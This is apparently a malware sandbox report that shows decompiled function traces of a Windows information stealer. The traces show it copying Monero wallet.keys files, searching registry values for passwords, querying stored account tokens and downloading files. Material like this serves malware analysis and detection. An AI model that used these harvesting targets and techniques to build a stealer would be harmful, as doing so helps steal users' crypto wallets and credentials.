Part of subcall function 00538B60: GetSystemTime.KERNEL32(00540E1A,0108E700,005405AE,?,?,005213F9,?,0000001A,00540E1A,00000000,?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 00538B86

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00521465

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005299EC
Part of subcall function 005299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00529A11
Part of subcall function 005299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00529A31
Part of subcall function 005299C0: ReadFile.KERNEL32(000000FF,?,00000000,0052148F,00000000), ref: 00529A5A
Part of subcall function 005299C0: LocalFree.KERNEL32(0052148F), ref: 00529A90
Part of subcall function 005299C0: CloseHandle.KERNEL32(000000FF), ref: 00529A9A

DeleteFileA.KERNEL32(00000000), ref: 005214EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 00521335
.keys, xrefs: 0052136B
wallet_path, xrefs: 00521330
\Monero\wallet.keys, xrefs: 0052138D

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: d9faf6f3a54c66f2bb0554ac58eba981665cf038207b1a669ebc1a41f695f42f
Instruction ID: 8719d2d9b81e71b780ae47e50784d9076c2cdfe060dadfa6c49f10b2283929ca
Opcode Fuzzy Hash: d9faf6f3a54c66f2bb0554ac58eba981665cf038207b1a669ebc1a41f695f42f
Instruction Fuzzy Hash: 2A5156B2D5011A67CB15FB60DD9AFED773CBF94300F404198B64A62081EE706B89CFA6

Function 00537500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00537542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0053757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00537603
RtlAllocateHeap.NTDLL(00000000), ref: 0053760A
wsprintfA.USER32 ref: 00537640

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

C, xrefs: 0053754C
:, xrefs: 0053755C
T, xrefs: 0053764D, 00537655, 0053761B, 00537623
\, xrefs: 00537560

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$T
API String ID: 1544550907-4263779954
Opcode ID: a1725f09d0e15450bab67453e246fce0abf79b933d596b82f37bea402dd4a69e
Instruction ID: 11c3dc0d0469a87398f81c829cb48bbbe764004bc555cdb179d749079ae5d0d0
Opcode Fuzzy Hash: a1725f09d0e15450bab67453e246fce0abf79b933d596b82f37bea402dd4a69e
Instruction Fuzzy Hash: BB4171B1D04348ABDB14DB94DC55BEEBBB8BB48700F104599F50967280D7786A44CFA5

Function 005275D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005272D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0052733A
Part of subcall function 005272D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005273B1
Part of subcall function 005272D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0052740D
Part of subcall function 005272D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00527452
Part of subcall function 005272D0: HeapFree.KERNEL32(00000000), ref: 00527459

lstrcat.KERNEL32(3571D020,005417FC), ref: 00527606
lstrcat.KERNEL32(3571D020,00000000), ref: 00527648
lstrcat.KERNEL32(3571D020, : ), ref: 0052765A
lstrcat.KERNEL32(3571D020,00000000), ref: 0052768F
lstrcat.KERNEL32(3571D020,00541804), ref: 005276A0
lstrcat.KERNEL32(3571D020,00000000), ref: 005276D3
lstrcat.KERNEL32(3571D020,00541808), ref: 005276ED
task.LIBCPMTD ref: 005276FB

Strings

: , xrefs: 0052764E

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: a769f225e4aa5a63800da0cd973372462e6e69e795b01c3f31d8c8a6e11fe05c
Instruction ID: 57b03972a81825d38c2d0fc62ffa28aa7b2612f546d1a4b8f5cdf275c60fa8d8
Opcode Fuzzy Hash: a769f225e4aa5a63800da0cd973372462e6e69e795b01c3f31d8c8a6e11fe05c
Instruction Fuzzy Hash: 72312F7190120AEBCB05EBF4EC59DFE7B74BF89301B148118E103B72A1DA78A946CF56

Function 00538100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0108E9E0,00000000,?,00540E2C,00000000,?,00000000), ref: 00538130
RtlAllocateHeap.NTDLL(00000000), ref: 00538137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00538158
__aulldiv.LIBCMT ref: 00538172
__aulldiv.LIBCMT ref: 00538180
wsprintfA.USER32 ref: 005381AC

Strings

%d MB, xrefs: 005381A3
@, xrefs: 0053814D

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 9d3891db55d912dcc8a16f5e18bfe9282b4a1deb53c1d4d91326ae26e676299e
Instruction ID: 722dd29b419f339b1b261476511c4651af6915fce587453ccec7a175dd9db09e
Opcode Fuzzy Hash: 9d3891db55d912dcc8a16f5e18bfe9282b4a1deb53c1d4d91326ae26e676299e
Instruction Fuzzy Hash: 2F211DB1E44319ABDB04DFD4DD49FAEBBB8FB44B10F104519F605BB280D7B869018BA9

Function 005260A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Part of subcall function 005247B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00524839
Part of subcall function 005247B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00524849

InternetOpenA.WININET(00540DF7,00000001,00000000,00000000,00000000), ref: 0052610F
StrCmpCA.SHLWAPI(?,0108F278), ref: 00526147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0052618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005261B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005261DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0052620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00526249
InternetCloseHandle.WININET(?), ref: 00526253
InternetCloseHandle.WININET(00000000), ref: 00526260

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 032f6ecf23822daa849bb13ed93cc35abc7cd067dba70800a6e2fd0f0107aa6d
Instruction ID: a414e207827295996a138bb13afa5187e37561062822d272e521bb3b024d0952
Opcode Fuzzy Hash: 032f6ecf23822daa849bb13ed93cc35abc7cd067dba70800a6e2fd0f0107aa6d
Instruction Fuzzy Hash: 0C514EB1900218ABDB24DF50DC49BEE7BB8FF44701F108098F606A71C1DBB46A85CF95

Function 005272D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0052733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005273B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0052740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00527452
HeapFree.KERNEL32(00000000), ref: 00527459
task.LIBCPMTD ref: 00527555

Strings

Password, xrefs: 00527401

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 6592440212915af7cff5f0dd4db61c1af5846deb94976671aaf276b892c8f3b5
Instruction ID: 1ebf21c3e07d9444204fa31f98916025e174a9f500a394c7d6efb7d876120826
Opcode Fuzzy Hash: 6592440212915af7cff5f0dd4db61c1af5846deb94976671aaf276b892c8f3b5
Instruction Fuzzy Hash: 28613CB5D0426D9BDB24DB50DC45FE9BBB8BF49300F0081E9E649A6181DBB05BC9CFA0

Function 0052BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

lstrlen.KERNEL32(00000000), ref: 0052BC9F

Part of subcall function 00538E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00538E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0052BCCD
lstrlen.KERNEL32(00000000), ref: 0052BDA5
lstrlen.KERNEL32(00000000), ref: 0052BDB9

Strings

AccountTokens, xrefs: 0052BB49
SELECT service, encrypted_token FROM token_service, xrefs: 0052BBEB
AccountId, xrefs: 0052BCC4
AccountTokens, xrefs: 0052BABA

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
